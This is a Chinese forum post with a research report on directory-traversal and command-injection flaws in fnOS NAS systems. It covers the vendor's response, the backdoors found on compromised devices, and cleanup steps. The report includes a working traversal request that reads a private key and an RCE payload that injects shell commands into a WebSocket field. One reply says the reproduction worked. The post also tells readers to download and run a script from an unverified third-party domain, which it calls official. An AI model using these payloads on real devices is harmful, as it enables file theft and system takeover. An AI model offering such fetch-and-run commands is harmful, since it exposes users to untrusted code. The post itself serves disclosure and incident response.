FnOS 出现严重的安全漏洞

谈笑风生 300 views 2 replies
#1 ·

🔒 飞牛 OS 严重安全漏洞调研报告


📌 一、漏洞涉及范围

影响版本

  • 受影响版本 :1.1.15 以下的所有版本 [104][126][191]
  • 漏洞编号 :暂无(官方未公开/未分配 CVE)[142][153]
  • 危险等级 :严重(高危)[153]

漏洞类型

  1. 目录遍历导致的任意文件读取漏洞 [104]
  2. 命令执行漏洞(RCE) [104][103]
  3. 可能存在的授权绕过漏洞 [104][140]

实际影响范围

暴露条件 :fnOS 设备存在公网可达入口时风险显著上升 [202]

  • 端口映射暴露
  • 反向代理暴露
  • 直连公网
  • 内网穿透服务暴露

攻击后果

  • ✅ 可读取系统任意文件,包括:
    • 私钥文件(/usr/trim/etc/rsa_private_key.pem)
    • 历史记录(/root/.bash_history、/root/.psql_history)
    • 系统配置文件
    • 用户存储的所有文件 [104]
  • ✅ 可执行任意命令,导致服务器完全失陷 [104]
  • ✅ 植入后门组件,驻留在系统中 [179][202]
  • ✅ 发起 DDoS 攻击等恶意行为,导致设备被暂停服务 [175][177]
  • ✅ 清理系统日志和审计日志,掩盖攻击痕迹 [179][202]

实际受害案例

  • 多个用户报告设备出现莫名断网、网络异常、丢包严重等问题 [2][4]
  • OVH 独服 DD 安装飞牛后出现对外攻击行为,导致服务被暂停 [177]
  • 用户报告重装后问题依然存在,说明恶意代码可能驻留在数据盘 [175][179]

💻 二、漏洞复现技术细节

1. 目录遍历漏洞(任意文件读取)

漏洞路径

  • /app-center-static/serviceicon/trim.media/
  • /app-center-static/xxx/xx/

复现方法 [104]

1GET /app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../usr/trim/etc/rsa_private_key.pem HTTP/1.1
2Host: [目标 IP]

原理说明

  • 通过 size 参数传递路径穿越字符串
  • 默认向上穿越四级目录即可到达根目录
  • 可读取系统任意敏感文件

2. 命令执行漏洞(RCE)

复现步骤 [104][140]

步骤 1 :建立 WebSocket 连接

ws://[目标IP]\:5666/websocket?type=main

步骤 2 :构造恶意请求体

[签名数据]={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}

关键说明

  • 签名数据需使用浏览器 localStorage 中的 fnos-Secret 进行 HMAC-SHA256 签名
  • payload 放在请求体的 URL 参数中
  • 成功后会在/tmp 下创建文件 hacked20260131
  • 此漏洞需要先有有效账户(但可能存在 authorization bypass)[104]

测试 POC 示例 [140]

1# 漏洞检测脚本
2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1 && \
3chmod +x /usr/local/bin/fnos_xxck1 && \
4fnos_xxck1

3. 漏洞技术背景

根本原因推测 [104]

  • 后端服务(trim_app_center)缺少对请求路径的规范化处理
  • 可能使用了类似以下存在漏洞的代码模式:
1// 伪代码示例(存在漏洞)
2func DownloadHandler(c *gin.Context) {
3    filePath := c.Query("size") // 直接获取 size 参数
4    // 缺少:filePath = filepath.Clean(filePath)
5    // 缺少:if !strings.HasPrefix(filePath, allowedDir) { ... }
6    c.File(filePath) // 直接读取文件
7}

漏洞状态

  • ❌ 此漏洞在最新版 1.1.15-1493 中仍然存在 [104]
  • ❌ 可能存在前置的 authorization bypass 漏洞 [104][140]

🏢 三、飞牛官方反应

官方采取的措施

✅ 积极措施

  1. 发布修复版本 :已发布 1.1.15 版本修复漏洞 [141][126]
  2. 社区技术支持 :发布恶意程序分析和专杀脚本 [179][178]
  3. 安全建议 :建议用户升级至 1.1.15 版本并关闭公网映射 [140][202]

📋 官方建议 (来源:社区回应)[140]

  1. 确认当前飞牛系统版本已升级至最新版本 1.1.15
  2. 确认在关闭公网端口映射情况下,是否仍有异常上传行为
  3. 确认设备公网访问场景下,使用 HTTPS 与 FNID 加密访问方式

官方反应存在的问题

❌ 严重缺陷

  1. 未发布正式安全公告 [101][141][102]
  • 官方已修复但未发布安全公告
  • 未主动使用短信或邮件通知受影响用户
  • 蓝点网批评:飞牛似乎选择当"鸵鸟"[141]
  1. 回应被质疑甩锅 [102][101]
  • 官方回应:"建议用户使用 HTTPS,避免 HTTP 明文访问"
  • 网友质疑:部署 HTTPS 的用户也中招了
  • HTTPS 无法防御应用层漏洞 ,只是传输加密,无法阻挡路径穿越攻击 [140]
  1. 官方回应存在争议 [101]
  • 蓝点网对官方说法持怀疑态度
  • 路径穿越漏洞与 HTTP/HTTPS 访问没有任何直接关系
  1. 补丁有效性存疑 [104][140]
  • 1.1.15 版本中漏洞仍然存在
  • 可能需要更高版本才真正修复
  1. 信息不透明 [141]
  • 未说明漏洞技术细节
  • 未公布受影响版本的确切范围
  • 未分配 CVE 编号

社区与安全专家的反应

📢 NodeSeek 的批评 [102]

  • 官方暂未承认 0day 漏洞
  • 仅回应"建议使用 HTTPS,避免 HTTP 明文访问"
  • 网友质疑:"如果是 http 的问题,那整个程序圈,这么多用 http 的,早就被爆完了"
  • 补丁与公告至今未见,用户仍在"裸奔"

📢 VPS.TOWN 的质疑 [140]

  1. HTTPS 无法防御逻辑漏洞
  2. 2FA 可能失效 :若漏洞允许绕过鉴权模块直接读写系统文件,二步验证和强密码将形同虚设
  3. 重装系统的风险 :单纯重装系统可能无效,恶意脚本可能驻留在数据盘

📢 LoopDNS 的专业分析 [202]

  • 官方已知该问题,建议升级至 1.1.15
  • 但论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象
  • 说明风险不应仅限定为 HTTP 明文通道

🛡️ 四、恶意程序分析(实际攻击案例)

后门组件特征 [179][202]

恶意文件

  • /usr/bin/nginx(伪装)
  • /usr/trim/bin/trim_https_cgi
  • /usr/sbin/gots
  • /lib/modules/6.12.18-trim/snd_pcap.ko(内核模块)

恶意进程

  • 监听 57132 端口(无 PID 显示)
  • 清空系统日志信息
  • 删除 audit 审计日志
  • 访问恶意 IP 地址

网络连接

攻击链分析 [202]

入侵阶段

  1. 利用漏洞投放后门下载器
  2. 下载并执行二阶段载荷
  3. 追加随机字节规避哈希检测

持久化阶段

  1. 写入 /etc/rc.local/sbin/gots x86 &
  2. 创建 systemd 服务
  3. 追加 /etc/modules 内核模块 snd_pcap
  4. 修改 /usr/trim/bin/system_startup.sh

清除痕迹阶段

  • 清空多目录日志
  • 删除审计日志
  • 清理安全相关日志

干扰业务阶段

  • pkill 结束系统关键进程
  • 重命名/替换系统工具(如 cat)

🔧 五、应急处置建议

优先级 1(立即执行) [140][178][202]

  1. 立即暂停 Web UI 公网暴露
  • 在防火墙或安全组中阻断 FnOS Web 管理端口对公网的开放
  • 或仅通过 SSH 隧道、VPN 访问管理后台
  1. 设置 IP 白名单
  • 如果必须暴露端口,设置严格的 IP 白名单
  1. 封禁恶意 IP
1# 封禁恶意 IP 地址
2iptables -A OUTPUT -d 45.95.212.102 -j DROP
3iptables -A OUTPUT -d 151.240.13.91 -j DROP
4iptables -A OUTPUT -d 20.89.168.131 -j DROP

优先级 2(尽快执行) [178][179][202]

  1. 升级系统 :升级至 1.1.15 或更高版本(需验证是否真正修复)

  2. 运行专杀脚本

1# 下载并执行官方专杀脚本
2curl -ksSL https://us1.vvvvvv.de5.net/sh/fnos_xxck1.sh -o /usr/local/bin/fnos_xxck1
3chmod +x /usr/local/bin/fnos_xxck1
4fnos_xxck1
  1. 手动检查
  • 检查 /tmp/var/tmp 及系统计划任务 (crontab) 是否有可疑脚本
  • 检查是否存在恶意文件(见上文)
  • 检查 /etc/modules 是否包含snd_pcap
  1. 清理后门
1# 解除不可变属性
2chattr -i /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi
3
4# 删除恶意文件
5rm -f /usr/bin/nginx /usr/sbin/gots /usr/trim/bin/trim_https_cgi
6
7# 清理启动项
8sed -i '/gots/d' /etc/rc.local
9
10# 移除恶意内核模块
11rm -f /lib/modules/*/snd_pcap.ko
12sed -i '/snd_pcap/d' /etc/modules

优先级 3(安全加固) [179]

  1. 修改所有密码 :管理界面密码、SSH 密码
  2. SSH 加固
  • 禁止密码登录,仅允许私钥登录
  • 禁止 root 登录
  • 使用 fail2ban 自动封禁 SSH 登录失败的 IP
  1. 启用防火墙 :打开飞牛自带防火墙和操作系统防火墙
  2. 监控网络 :开启出站日志记录以便后续溯源

📊 六、总结与建议

风险评级

项目 评估
漏洞严重性 ⚠️⚠️⚠️⚠️⚠️ 极高
影响范围 ⚠️⚠️⚠️⚠️ 广泛(所有暴露公网的 1.1.15 以下版本)
修复可用性 ⚠️⚠️ 存疑(1.1.15 中仍存在漏洞)
官方透明度 ⚠️⚠️⚠️⚠️⚠️ 极低

给用户的建议

🚨 紧急情况(已发现异常)

  1. 立即断开公网连接
  2. 备份重要数据(注意数据盘可能已被植入恶意代码)
  3. 按照上述优先级 1-3 执行应急处置
  4. 考虑完全重装系统(需要彻底格式化系统盘和数据盘)
  5. 更改所有相关账户密码

✅ 预防措施(尚未发现异常)

  1. 立即升级至 1.1.15 版本
  2. 关闭所有不必要的公网端口映射
  3. 使用 VPN 或 SSH 隧道访问管理后台
  4. 定期检查系统日志和异常进程
  5. 备份重要数据

⚠️ 重要提醒

  • 即使已升级到 1.1.15,漏洞可能仍然存在 [104]
  • 不要轻信"使用 HTTPS 就能防御"的说法 [140]
  • 重装系统前必须彻底检查数据盘,否则可能被再次感染 [140][179]

信息来源与可靠性

  • 技术细节:Mrxn's Blog(安全研究人员专业分析)[104]
  • 官方分析:飞牛私有云论坛(社区主理人发布)[179]
  • 恶意程序分析:LoopDNS 安全团队专业分析 [202]
  • 官方反应:蓝点网、NodeSeek 等媒体 [101][102][140]
  • 实际案例:GitHub Issue、V2EX 等社区报告 [177][175]

时效性说明 :本次调研基于 2026 年 1 月 31 日的最新信息,漏洞仍在持续发展中,建议持续关注官方和社区更新。

ぜーんぶ弾けなーい!

#2 ·

复现成功了 😅
什么草台班子

ぜーんぶ弾けなーい!

❤️🤣️
6
#3 ·

我就是升级到 1.1.15 后才中招的,木马有好几个自启动程序,伪装为 nginx 和 docker 的 service,同时还会破坏更新系统的下载源导致无法更新至 1.1.18.官方一直不承认就是 fnconnect 导致的。

❤️😰️
2